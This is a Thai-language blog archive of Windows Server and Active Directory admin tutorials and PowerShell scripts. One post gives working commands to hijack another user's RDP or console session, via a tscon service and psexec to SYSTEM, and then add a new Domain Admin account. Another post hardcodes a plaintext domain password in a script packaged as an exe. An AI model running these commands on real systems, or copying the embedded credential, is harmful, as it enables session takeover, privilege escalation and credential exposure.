แสดงบทความที่มีป้ายกำกับ Microsoft แสดงบทความทั้งหมด
แสดงบทความที่มีป้ายกำกับ Microsoft แสดงบทความทั้งหมด

วันพฤหัสบดีที่ 13 กรกฎาคม พ.ศ. 2560

Upgrade Hyper-V Cluster 2012 R2 to 2016


Upgrade Hyper-V Cluster 2012 R2 to 2016

          วันนี้ผมจะมาพูดถึงการ Migrate Hyper-V Cluster จาก 2012 R2 ไปเป็น 2016 กันนะครับ ซึ่งถือว่าค่อนข้างง่ายจากเดิมเยอะเลย โดยขั้นตอนต่างๆมีดังนี้ครับ





0. แนะนำก่อนที่จะทำการ Migrate ให้ Backup ไว้ก่อนนะครับ
1. ตรวจสอบก่อนนะครับว่า Hyper-V Cluster ของท่านก่อนจะทำการ Migrate มีเพียงพอหรือไม่ (เนื่องจากจะต้องทำการ Install Windows Server ใหม่ ทำให้ Hyper-V Cluster ของท่านจะหายไป 1 Node นั่นเองครับ)
2. เมื่อตรวจสอบแล้ว Resource พอท่านก็สามารถที่จะ Fail Over VM จาก Node ที่ท่านต้องการทำการ Install Windows Server 2016 ได้เลยและทำการ Evict Node ออกครับ
3. เมื่อ Evict Node ออก เรียบร้อยก็สามารถนำ Node นั้นมาติดตั้ง Windows Server 2016 ครับ
4. ติดตั้ง Windows Server 2016 เสร็จแล้วก็มาติดตั้ง Role Hyper-V & Feature Fail Over Cluster ต่อครับ
5. Add Node เข้ามาเป็น สมาชิกใน Cluster Group เดิมครับ
6. ย้าย VM ที่เกาะ Node ที่เป็น Windows Server 2012 R2 มาเกาะ Node ที่เป็น Windows Server 2016 แทนครับ
7. ทำการ Evict Node Windows Server 2012 R2 และทำการติดตั้ง Windows Server 2016 ครับ
8. ติดตั้ง Windows Server 2016 เสร็จแล้วก็มาติดตั้ง Role Hyper-V & Feature Fail Over Cluster ต่อครับ
9. Add Node เข้ามาเป็น สมาชิกใน Cluster Group เดิมครับ (ในที่นี้ก็จะได้ Hyper-V Cluster 2016 ครับ แต่ว่า VM ยังคงเป็น Version เดิมของ 2012 R2) ให้ทำการ Update VM ให้ Support เวอร์ชั่น 2016 ครับ (* การจะ Update VM Version นั้น VM ต้อง Shutdown)
10. ทำการ Shutdown VM และ Update VM Version ครับ

เมื่อเสร็จสิ้นกระบวนการหมดแล้วท่านก็จะได้ Hyper-V Cluster 2016 ซึ่ง VM ก็ Support Feature 2016 ด้วย ตามภาพครับ















วันพุธที่ 12 กรกฎาคม พ.ศ. 2560

Direct Access Solution

Direct Access Solution


          วันนี้จะมาพูดถึง Solution Direct Access กันนะครับ แต่ก่อนที่จะพูดจะขออธิบายให้ฟังกันก่อนนะครับ ว่า Direct Access นั้นคืออะไร และมีไว้ทำไมกันนะครับ
          Direct Access นั้นคือ Solution ที่เข้ามาช่วยให้คุณไม่ว่าจะอยู่ที่ไหนก็ได้ สามารถใช้งาน ทรัพยากรต่างๆภายในองค์กรได้ เสมือนว่าคุณทำงานอยู่ในองค์กรนั้นจริงๆ โดยที่ขอแค่คุณเชื่อมต่อ อินเทอร์เน็ต นั่นเอง คุณอาจเริ่มสงสัยแล้วละสิว่า มันแต่ต่างกันกับ VPN ยังไง ซึ่งสิที่ทำให้ Direct Access นั้นน่าสนใจมากกว่า VPN มีดังนี้ครับ
1. Direct Access นั้นไม่ต้อง Download Tools มาติดตั้งที่ฝั่ง Client (เงื่อนไขขอแค่ คุณมี อินเทอร์เน็ตเปิดเครื่อง Login User จาก AD คุณก็สามารถใช้งานได้แล้ว)
2. Direct Access นั้นค่อนข้างที่จะปลอดภัยกว่า VPN เนื่องด้วยมีการตรวจสอบสิทธิ์การเข้าใช้งานถึง 2 ชั้น [User Authentication & Certificate (Some Thing You Know and Some Thing You Have)] และยังเข้ารหัสการเชื่อมต่อได้ถึงปลายทางที่ติดต่อ ทำให้ปลอดภัยจากการโดนดักขโมยข้อมูล
3. Direct Access นั้นยังช่วยในเรื่องที่เมื่อองค์กรของคุณนั้นมีการ แก้ไข Group Policy ใหม่ทำให้เครื่องที่มีการในไปใช้งานนอกองค์กรนั้น ไม่สามารถรับ Policyได้ ซึ่ง VPN นั้นไม่สามารถทำได้ครับ  แต่ถ้ามีการใช้งาน Direct Access คุณก็ไม่ต้องกังวลเรื่องนั้นได้เลยครับ



วันพฤหัสบดีที่ 6 กรกฎาคม พ.ศ. 2560

Scripts Power Shell : Send Message to Another Computer

Scripts Power Shell : Send Message to Another Computer

          สวัสดีครับวันนี้ผมจะมาพูดถึงการส่ง Pop up ข้อความไปยังเครื่องปลายทางกันครับ ไว้เป็นอีกหนึ่งทางเลือกในการติดต่อกับ User ครับ



###-----------------------------------------------------------###
###--------Author : Mr.Yingkamol Prukrattanakul----###
###---MCP, MCSA, MCSE, MCT, MCST, SEC+----###
###------Email<yingkamol_7@hotmail.com>--------###
###----------------------------------------------------------###
###/////////////////////////////..........\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###
###///////////////////////////////......\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###


Invoke-WmiMethod ` -Path Win32_Process ` -Name Create ` -ArgumentList "msg * ..Message..." `
-ComputerName computer.contoso.com -Credential username@contoso.com

Scripts Command Line: Hijack RDP&Console Session and New Account Domain Admin

Scripts Command Line: Hijack RDP Session and New Account Domain Admin

          สำหรับวันนี้ก็จะเป็น Code Hijack กันนะครับ (ถ้าจะลองแนะนำให้ทำแค่ Environment TEST) ซึ่งเงื่อนไขมีอยู่ว่า เราจะต้องเข้าเครื่องเป้าหมายให้ได้ก่อน ไม่ว่าจะด้วย USER อะไรก็ตามและทำการตรวจสอบว่า เครื่องเป้าหมายเรานั้นมีคน Remote เข้ามาใช้งานร่วมด้วยหรือไม่ครับ ถ้ามีเราก็สามารถที่จะ สวมตัวตนเป็นเขาแทนได้ทันทีเลย [เพิ่มเติมในที่นี้ ถ้า USER ที่ Remote เข้ามามีสิทธิ์พอ เช่น Domain Admin, Enterprise Admin) ท่านก็สามารถนำ User เขามาสร้าง Account สำหรับตัวท่านเองและกำหนดสิทธิ์ให้ตัวเองได้ทันทีเลยครับ] ยังไงก็ตรวจสอบให้ดีก่อนจะใช้งานกันนะครับ

###-----------------------------------------------------------###
###--------Author : Mr.Yingkamol Prukrattanakul----###
###---MCP, MCSA, MCSE, MCT, MCST, SEC+----###
###------Email<yingkamol_7@hotmail.com>--------###
###----------------------------------------------------------###
###/////////////////////////////..........\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###
###/////////////////////////Hijack RDP\\\\\\\\\\\\\\\\\\\\\\\\\\\###



wmic computersystem get domain

query user

sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#46"

net start sesshijack

---------

whoami

net user xxx supersecretPassw0rd /add /dom

net group "domain admins" nopernik /add /dom


###-----------------------------------------------------------###
###--------Author : Mr.Yingkamol Prukrattanakul----###
###---MCP, MCSA, MCSE, MCT, MCST, SEC+----###
###------Email<yingkamol_7@hotmail.com>--------###
###----------------------------------------------------------###
###/////////////////////////////..........\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###
###//////////////////////Hijack Console \\\\\\\\\\\\\\\\\\\\\\\\###

query user

psexec -s \\localhost cmd

whoami

tscon 1 /dest:console

Scripts Power Shell :Loop For Check User last logon


Scripts Power Shell :Loop For Check User use Computer


###-----------------------------------------------------------###
###--------Author : Mr.Yingkamol Prukrattanakul----###
###---MCP, MCSA, MCSE, MCT, MCST, SEC+----###
###------Email<yingkamol_7@hotmail.com>--------###
###----------------------------------------------------------###
###/////////////////////////////..........\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###
###///////////////////////////////......\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###

function GetUserUseComputer

{
$computers = Get-Content D:\IPlist.csv
$ondate = get-date -Format "ddMMyy"



ForEach ($computer in $computers)
{

  try
    {
Get-WmiObject –ComputerName $computer –Class Win32_ComputerSystem | Select-Object Name,UserName
}

catch    
{
            $NOTCONNECT= "System NOPATCH:$computer"
            $NOTCONNECT| Write-Warning
            $NOTCONNECT>> "$env:USERPROFILE\Desktop\NOTCONNECT.txt"

    }
}

}


GetUserUseComputer> "$env:USERPROFILE\Desktop\GetUserUseComputer$ondate.txt"

Scripts Power Shell :Loop For Check Open Port

Scripts Power Shell :Loop For Check Open Port 


###-----------------------------------------------------------###
###--------Author : Mr.Yingkamol Prukrattanakul----###
###---MCP, MCSA, MCSE, MCT, MCST, SEC+----###
###------Email<yingkamol_7@hotmail.com>--------###
###----------------------------------------------------------###
###/////////////////////////////..........\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###
###///////////////////////////////......\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###

function CheckPort
   {
            # Define every server IP you need to test:
            $servers = Get-Content D:\IPlist.csv
            # Define the port number you need to test (eg: 3389 for RDP):
            $portToCheck = '3389'
            $ErrorActionPreference = 'Stop'
                foreach ($server in $servers)
                    {
                        If ( Test-Connection $server -Count 1 -Quiet)
                        {  
                        try
                            {    
                            $null = New-Object System.Net.Sockets.TCPClient -ArgumentList $server,$portToCheck
                            $props = @{
                            Server = $server
                            PortOpen = 'Yes'
                                      }
                            }                            
                        catch
                            {
                            $props = @{
                            Server = $server
                            PortOpen = 'No'
                                      }
                            }
                        }
    Else
        {      
            $props = @{
            Server = $server
            PortOpen = 'Server did not respond to ping'        
                      }
        }
    New-Object PsObject -Property $props
        }
   }
CheckPort > "$env:USERPROFILE\Desktop\CheckPort.csv"

Scripts Power Shell :Loop For Check Install KB

Scripts Power Shell :Loop For Check Install KB 

          เนื่องจากมีลูกค้าต้องการเช็คว่า ผู้ใช้งานของลูกค้าเองมีจำนวนมาก และยังขาด Tools ที่เข้ามาช่วยในการบริหารจัดการ หรือถึงไม่สามารถบริหารจัดการได้ทั่วถึง แต่ลูกค้าต้องการทราบข้อมูล ในช่วงที่มี Ransomware WannaCry ว่ามีคอมพิวเตอร์เครื่องไหนที่ Update Patch ไปแล้วบ้าง เลยทำการเขียน Scripts ไว้เพื่อทำการกวาดข้อมูลของเครื่องผู้ใช้งาน ของลูกค้าเองครับ



###-----------------------------------------------------------###
###--------Author : Mr.Yingkamol Prukrattanakul----###  
###---MCP, MCSA, MCSE, MCT, MCST, SEC+----###
###------Email<yingkamol_7@hotmail.com>--------###
###----------------------------------------------------------###
###/////////////////////////////..........\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###
###///////////////////////////////......\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###



function Hotfixreport
    {
$computer = Get-Content D:\IPlist.csv
$MS17010= 'KB4012598', #Windows XP, Vista, Server 2003, 2008
               'KB4018466', #Server 2008
               'KB4012212', 'KB4012215', 'KB4015549', 'KB4019264', #Windows 7, Server 2008 R2
               'KB4012214', 'KB4012217', 'KB4015551', 'KB4019216', #Server 2012
               'KB4012213', 'KB4012216', 'KB4015550', 'KB4019215', #Windows 8.1, Server 2012 R2
               'KB4012606', 'KB4015221', 'KB4016637', 'KB4019474', #Windows 10
               'KB4013198', 'KB4015219', 'KB4016636', 'KB4019473', 'KB4016871', #Windows 10 1511
               'KB4013429', 'KB4015217', 'KB4015438', 'KB4016635', 'KB4019472' #Windows 10 1607, Server 2016
$ErrorActionPreference = 'Stop'


ForEach ($computer in $computers)

         {

        try
            {

            $PATCH = Get-HotFix -cn $computer  | out-string -stream | select-string -pattern $MS17010
            $PATCH  >> "$env:USERPROFILE\Desktop\PATCH.txt"
            }

        catch

            {
            $NOPATCH = "System NOPATCH:$computer"
            $NOPATCH | Write-Warning
            $NOPATCH >> "$env:USERPROFILE\Desktop\NOPATCH.txt"
            }
         
        }

    }
Hotfixreport > "$env:USERPROFILE\Desktop\Hotfixreport.txt"

Scripts Power Shell: Create .exe file for join domain

Scripts Power Shell: Create .exe file for join domain


1. สร้าง Script

File Name -> JoinDomain.ps1

###-----------------------------------------------------------###  
###--------Author : Mr.Yingkamol Prukrattanakul----###    
###---MCP, MCSA, MCSE, MCT, MCST, SEC+----###  
###------Email<yingkamol_7@hotmail.com>--------###  
###----------------------------------------------------------###  
###/////////////////////////////..........\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###  
###///////////////////////////////......\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\###  

$domain = "contoso.local"
$password = "password" | ConvertTo-SecureString -asPlainText -Force
$username = "contoso\username"
$credential = New-Object System.Management.Automation.PSCredential($username,$password)
Add-Computer -DomainName $domain -Credential $credential

2. Download และติดตั้งไฟล์สำหรับแปลง PowerShell Scripts เป็น exe file

Download
อ้างอิง

3. แตกไฟล์ แล้ว สร้าง PowerShell Scripts มา แปลง

.\ps2exe.ps1 -inputfile C:\Users\XXX\Desktop\JoinDomain.ps1
-outputfile C:\Users\XXX\Desktop\JoinDomain.exe



วันศุกร์ที่ 23 มิถุนายน พ.ศ. 2560

Design Active Directory Certificate Services


Design Active Directory Certificate Services


          วันนี้จะมาพูดถึงการ Design  Active Directory Certificate Services แต่ก่อนจะเริ่มพูดถึงการ Design ผมขออธิบายให้ทุกท่านเข้าใจก่อนนะครับว่า Active Directory Certificate Services คืออะไร และมีไว้ทำไม
           Active Directory Certificate Services คือ การให้บริการและการบริหารจัดการ ที่เกี่ยวข้องกับ Certificate ที่จะนำไปใช้งานร่วมกับ Software Security ต่างๆ ไม่ว่าจะเป็น Single Sign On, SSL, Dot1X Authentication เป็นต้น ในการตรวจสอบตัวตน และยืนยันตัวตน โดยการออก Certificate นั้นใช้เทคโนโลยีของ Public Key Infrastructure (PKI) ในการ Generate Key เพื่อในการใช้งานครับ
           ในการ Design นั้นส่วนใหญ่ก็จะขึ้นอยู่กับลักษณะขององค์กร ครับ โดยการ Design นั้นควรที่จะแบ่งออกมาเป็นดังต่อไปนี้
1. Root Tier (Root CAs) แนะนำให้ท่านตั้งเป็น Standard Root CAs (Offiline Mode) เนื่องจาก Root CAs จะทำหน้าที่ ในการถือ Primary Key (*ถ้าต้องการด้านความปลอดภัยเพิ่ม แนะนำให้ เอา Primary Key มาเก็บกับอุปกรณ์ HSM : Hardware Security Module ครับ) 
2. Issuer Tier ทำหน้าที่ในการบริหารจัดการ Certificate ครับ
3. Front End Tier ทำหน้าที่ในการ ขอออกใบ Certificate และตรวจสอบ ความถูกต้องของ Certificate ครับ เช่น Certificate นั้นหมดอายุหรือยัง รวมถึง มีการไม่อนุญาติให้ใช้งาน Certificate นั้นไปแล้วหรือยังครับ
4. DMZ Tier จะเป็นในส่วนของที่องค์กรท่านมีการนำ Certificate ไปใช้งานภายนอกองค์กร จะต้องมีการตรวจสอบอยู่เสมอว่า Certificate ของท่านถูกต้องหรือไม่ครับ
           แต่ว่าส่วนใหญ่ที่ผมสัมผัสกับ องค์กรต่างๆนั้น มักจะ Design แค่ว่า ตั้ง Root CAs เครื่องเดียวและทำทุกอย่างเลยไม่ว่าจะ เป็น บริหารจัดการ Certificate (Issuer), ขอออกใบ Certificate (Web Enroll), ตรวจสอบใบ Certificate (CDP/AIA) ซึ่งถ้าในทางการใช้งานสามารถทำได้นะครับ แต่ผมไม่แนะนำให้ทำ เนื่องจากไม่ปลอดภัย เพราะมีโอกาสที่ Primary Key ที่เก็บอยู่ที่ Root CAs ของท่านจะหลุดได้ครับ
ก็เสมือนกับว่า ท่านทำกุญแจ หายไปนั่นเอง ซึ่งคนที่ได้กุญแจไป ก็จะเข้ามาเมื่อไรก็ได้ครับ





วันอังคารที่ 20 มิถุนายน พ.ศ. 2560

Active Directory Domain Services 2008 R2: Recovery Object

Recovery Object


                Active Directory Users and Computers ในที่นี้จะทำการ Remove Object Users ออกจาก ระบบ และจะทำการ Restore กลับมาใช้งาน ในการ Restore จะได้ค่า SID ของ Object Users กลับมา


                ทำการ Remove Object Users: testtt บน OU test



เมื่อทำการ Remove Users ไปแล้วจะเห็นได้ว่าไม่มี Users นั้นอยู่


                จะทำการ Restore Object โดยใช้ LDP.EXE





                ไปที่ connection menu เลือก bind



               ไปที่ view menu และทำการเลือก tree





               หา object ที่ทำการ ลบไป 


               คลิกขวา Modify


               ในช่อง Attribute ใส่คำว่า isDeleted เลือก Operation เป็น Delete และคลิก Enter และคลิก Check box Extended 



               ในช่อง Attribute ใส่คำว่า distinguishedName และในช่อง Values ใส่เป็น CN=testtt, OU=test, DC=CONTOSO, DC=LOCAL เลือก Operation เป็น Replace และคลิก Enter


              คลิก Run เพื่อทำการ Restore Objects Users testtt กลับมา


              ถ้าเปิด Active Directory User and Computers ให้กด Refresh แล้วจะเห็น User testtt กลับมา




             เมื่อ User testtt กลับมา ก็สามารถ Enable Account นำกลับมาใช้งานได้ปรกติเลยครับ

Active Directory Domain Services 2008 R2: Seize FSMO

Seize FSMO Role

                
                การย้าย FSMO นั้นทำได้ 2 วิธี คือ 

                1. Transfer FSMO จะใช้ก็ต่อเมื่อ ต้องการที่จะย้าย FSMO จาก Domain Controller เดิม (ONLINE) ไปยัง Domain Controller อื่นที่ยัง ONLINE ทำงานแทน ส่วนมากมักจะใช้ในกรณีที่จะทำการ Migrate Active Directory or Change Domain Controller
                2. Seize FSMO จะใช้ก็ต่อเมื่อ ต้องการที่จะย้าย Primary Domain Controller (FSMO) ที่มีปัญหา (OFFLINE) ไปยัง Domain Controller อื่นที่ยัง (ONLINE) ทำหน้าที่แทน ส่วนมากจะใช้ในกรณีที่ Domain Controller ที่ถือ FSMO มีปัญหา

                * กรณีที่ Domain Controller ที่มีปัญหา (OFFLINE) เมื่อ Seize FSMO จาก Domain Controller ที่มีปัญหา (OFFLINE) ไปยัง Domain Controller อื่นที่ยัง (ONLINE) ทำหน้าที่แทน ถ้าสามารถนำ Domain Controller ที่เดิมเคยเป็น Primary Domain Controller (FSMO) นั้นกลับมาใช้งานได้ปรกติ ไม่แนะนำให้ทำการนำกลับมาใช้งานในระบบ เนื่องจาก ระบบอาจพบว่า มี Primary Domain Controller ทั้งหมด 2 Domain Controller ซึ่งแนะนำให้ทำการ นำออกจากระบบ และทำการสร้าง Domain Controller ขึ้นมาทำงานแทนใหม่อีกครั้ง 

                ซึ่ง ณ ที่นี้จะยกตัวอย่างกรณีที่ทำ Seize FSMO จาก Domain Controller หนึ่งไปยัง อีก Domain Controller หนึ่ง

                จะทำการย้าย Role FSMO โดยที่ Server A1 ที่ถือ Role อยู่ Offline หรือมีปัญหา ไปยัง Server A2
วิธีการ คือ

1. ไปยังเครื่อง Domain Controller ที่พร้อมใช้งาน
2. เปิด Start à Command Prompt  
3. พิมพ์คำว่า NTDSUTIL
4. พิมพ์คำว่า Role
5. พิมพ์คำว่า Connections
6. พิมพ์คำว่า Connect to Server A2
7. พิมพ์คำว่า Q
8. พิมพ์คำว่า Seize naming master (จะทำการย้าย Naming Master Role จาก Server A1 ไปยัง Server A2
    ซึ่งเมื่อกดแล้วจะมีหน้าต่างให้ยืนยัน ให้กด YES ...เมื่อกด Yes ยืนยันแล้ว ให้ทำการตรวจสอบ ว่า Naming Master ได้เปลี่ยนจาก     Server A1 มายัง A2 แล้วหรือไม่
9. พิมพ์คำว่า Seize infrastructure master (จะทำการย้าย infrastructure master Role จาก Server A1 ไปยัง Server A2
    ซึ่งเมื่อกดแล้วจะมีหน้าต่างให้ยืนยัน ให้กด YES ...เมื่อกด Yes ยืนยันแล้ว ให้ทำการตรวจสอบ ว่า infrastructure master ได้       
    เปลี่ยนจาก Server A1 มายัง A2 แล้วหรือไม่
10. พิมพ์คำว่า Seize PDC (จะทำการย้าย PDC Role จาก Server A1 ไปยัง Server A2)  
    ซึ่งเมื่อกดแล้วจะมีหน้าต่างให้ยืนยัน ให้กด YES ...เมื่อกด Yes ยืนยันแล้ว ให้ทำการตรวจสอบ ว่า PDC ได้       
    เปลี่ยนจาก Server A1 มายัง A2 แล้วหรือไม่
11. พิมพ์คำว่า Seize RID master (จะทำการย้าย RID master Role จาก Server A1 ไปยัง Server A2
    ซึ่งเมื่อกดแล้วจะมีหน้าต่างให้ยืนยัน ให้กด YES ...เมื่อกด Yes ยืนยันแล้ว ให้ทำการตรวจสอบ ว่า  RID master ได้       
    เปลี่ยนจาก Server A1 มายัง A2 แล้วหรือไม่
12. พิมพ์คำว่า Seize Schema master (จะทำการย้าย Schema Master Role จาก Server A1 ไปยัง Server A2
    ซึ่งเมื่อกดแล้วจะมีหน้าต่างให้ยืนยัน ให้กด YES ...เมื่อกด Yes ยืนยันแล้ว ให้ทำการตรวจสอบ ว่า  Schema master ได้       
    เปลี่ยนจาก Server A1 มายัง A2 แล้วหรือไม่

* วิธีการตรวจสอบ ให้ไปที่ Start à Command Prompt และพิมคำว่า netdom query fsmo





Active Directory Domain Services 2008 R2: Recovery AD Database


Recovery Active Directory Database


จะทำการ Recovery Active Directory Service  ซึ่งการ Recovery เอง ถ้าจาก Feature Windows Server Backup ก็มีขอบเขต ข้อกำหนด ในการทำ สามารถทำได้ ในกรณีที่ Active Directory Service เองมีปัญหา และ Windows Server เอง มีปัญหา แต่ไม่สามารถทำในกรณีที่ Hard ware มีปัญหา หรือ เปลี่ยน Hard ware ได้ (เนื่องจาก เบื่องต้น เป็นการ Backup System State ถ้าต้องการ Restore ในกรณี Hard ware พังและย้ายเครื่อง จะต้อง Backup Bare Metal ด้วย และ Restore แบบ Bare Metal ไปยังเครื่องเปล่าก่อน และค่อย Recovery Active Directory Domain Name Services Database อีกที)
ในการ Recovery Active Directory Service นั้น ให้ทำการ เข้ามาในส่วนของ Advanced Boot Options (F8) และทำการเลือก Directory Services Restore Mode


จะทำการ Recovery Active Directory Service  ซึ่งการ Recovery เอง ถ้าจาก Feature Windows Server Backup ก็มีขอบเขต ข้อกำหนด ในการทำ สามารถทำได้ ในกรณีที่ Active Directory Service เองมีปัญหา และ Windows Server เอง มีปัญหา แต่ไม่สามารถทำในกรณีที่ Hard ware มีปัญหา หรือ เปลี่ยน Hard ware ได้
ในการ Recovery Active Directory Service นั้น ให้ทำการ เข้ามาในส่วนของ Advanced Boot Options (F8) และทำการเลือก Directory Services Restore Mode




                ให้ทำการ Log on เข้าสู่ Windows Server


--------------------------------------------------------------------------------------------------------------------------

Recovery Active Directory Database With Command Line


                ในการ Restore สามารถทำได้ทั้งแบบ Command แบบ GUI โดยแบบ Command ต้องทำการ ตรวจสอบ Version Backup ก่อน โดยใช้ Command “WBADMIN GET VERSIONS” เพื่อจะตรวจสอบ Version backup ก่อนจะทำการเลือก Version ที่จะนำมา Restore


                เมื่อรู้ Version Backup แล้วจะทำการ Restore จากที่ได้ Backup ไว้จะใช้ Command “WBADMIN START SYSTEMSTATERECOVERY –VERSION:12/08/2015-07:58”


                เมื่อเลือก version วัน เวลา ที่จะ Recovery และจะทำการ Recovery นั้น จะมี ข้อความมาถามก่อนว่าต้องการที่จะทำการ เริ่ม Recovery เลยหรือไม่ก่อน ในที่นี้ถ้าต้องการ Recovery เลยให้ กดปุ่ม “ Y ” เมื่อทำการ Recovery เสร็จแล้วระบบจะทำการ Restart Server

--------------------------------------------------------------------------------------------------------------------------

Recovery Active Directory Database With GUI


                ต่อมาจะเป็นการ Recovery โดยผ่าน GUI วิธีการให้ทำการเปิด Windows Server Backup

Start à Administrative Tools à Windows Server Backup


            เมื่อเปิด Windows Server Backup แล้วจะทำการ Recovery ให้ไปที่ แถบ Manu bar ด้านขวา คลิกที่ Recovery


            เลือกปลายทางที่ได้ทำการเก็บ file backup ไว้ ในที่นี้เก็บ file backup ไว้ที่เครื่อง A1 เอง ทำการเลือก This Server (A1)


            ทำการเลือก วันและเวลา ที่จะทำการ Recovery กลับไป ณ ช่วงวัน เวลานั้น


ทำการเลือก Recovery แบบ System State


เมื่อทำการเลือกที่จะ Recovery แบบ System State แล้ว ต่อมาจะวิธีการ ในการ Restore โดยมีด้วยกัน 2 วิธี คือ
(authoritative) ถ้า ติ๊ก perform an authoritative restore of active directory file จะทำการ Restore Active Directory Database ทั้งหมดที่ได้ทำการ Backup มา ณ ช่วงวัน เวลา นั้นๆ เมื่อทำการ Restore เสร็จแล้ว จะทำการ Re-Synchonize Active Directory Database กับ Domain Controller เครื่องอื่นๆ เพื่อให้ข้อมูล อัพเดพปัจจุบัน
(non authoritative) ถ้าไม่ ติ๊ก perform an authoritative restore of active directory file จะทำการ Restore Active Directory Database แต่จะไม่ทำการ Re-Synchonize Active Directory Database กับ Domain Controller เครื่องอื่นๆ จะใช้ในกรณีที่ เมื่อมีการ ลบ Directory Database แล้วต้องการจะ นำข้อมูลนั้นกลับขึ้นมา เช่น มีการลบ OU=IT ทั้งหมดไป แล้ว ต้องการที่จะนำ OU=IT กลับขึ้นมา ถ้าเลือกแบบ authoritative OU=IT กลับขึ้นมาได้ก็จริง แต่ก็จะทำการ Re-Synchonize Active Directory Database กับ Domain Controller เครื่องอื่นๆ เมื่อเห็นว่า Directory Database เครื่องอื่นไม่มี OU=IT ก็จะทำการ ลบ OU=IT ที่เราจะ Restore ทิ้งอยู่ดี เลยทำการเลือกเป็น โหมด non authoritative โดยไม่ทำการ ติ๊ก perform an authoritative restore of active directory file เมื่อ Restore มาแล้วก็สามารถ export นำ OU=IT นั้นกลับมาใช้งานได้

ในที่นี้ของเลือกแบบ authoritative โดยทำการ ติ๊ก perform an authoritative restore of active directory file และกด Next
            เมื่อทำการ Recovery จะต้องทำการ Re-Sync ใหม่ เนื่องจากข้อมูลจะถูกย้อนค่ากลับไปยัง ณ เวลาที่ทำการ Recovery ไป            
จะมี popup แจ้งเตือนเกี่ยวกับ Replication Service ในรูปแบบ ของ non authoritative ว่ายังมีอีก วิธีในการ Recovery ในที่นี้จะ ใช้วิธีการ authoritative เลยกด ok เพื่อที่จะทำการ Recovery ด้วยวิธีการ authoritative แบบเดิม

            จะเป็นหน้าแสดงผล ว่าจะ Recover อะไรบ้าง ในที่นี้จะ Recover System State ให้ทำการ Recover 


            กระบวนการในการ Recovery ซึ่งเมื่อสิ้นสุดกระบวนการ Recovery และ Restart เครื่องขึ้นมาก็จะได้ ค่า Configuration & Object ต่างๆคงเดิม